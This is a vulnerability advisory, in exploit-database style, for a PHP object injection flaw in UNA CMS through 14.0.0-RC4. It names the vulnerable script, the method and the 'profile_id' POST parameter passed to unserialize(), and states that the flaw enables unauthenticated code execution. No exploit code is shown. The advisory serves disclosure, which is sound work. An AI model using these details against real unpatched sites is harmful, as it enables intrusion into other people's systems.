Exploit:
# Exploit Title: UNA CMS <= 14.0.0-RC4 (BxBaseMenuSetAclLevel.php) PHP Object Injection Vulnerability
# Author: Egidio Romano aka EgiX
# Software link.......: https://unacms.com


[-] Software Links:
https://unacms.com
https://github.com/unacms/una

[-] Affected Versions:
All versions from 9.0.0-RC1 to 14.0.0-RC4.

[-] Vulnerability Description:
The vulnerability is located in the
/template/scripts/BxBaseMenuSetAclLevel.php script. Specifically,
within the BxBaseMenuSetAclLevel::getCode() method. When calling this
method, user input passed through the "profile_id" POST parameter is
not properly sanitized before being used in a call to the
unserialize() PHP function. This can be exploited by remote,
unauthenticated attackers to inject arbitrary PHP objects into the
application scope, allowing them to perform a variety of attacks, such
as writing and executing arbitrary PHP code.
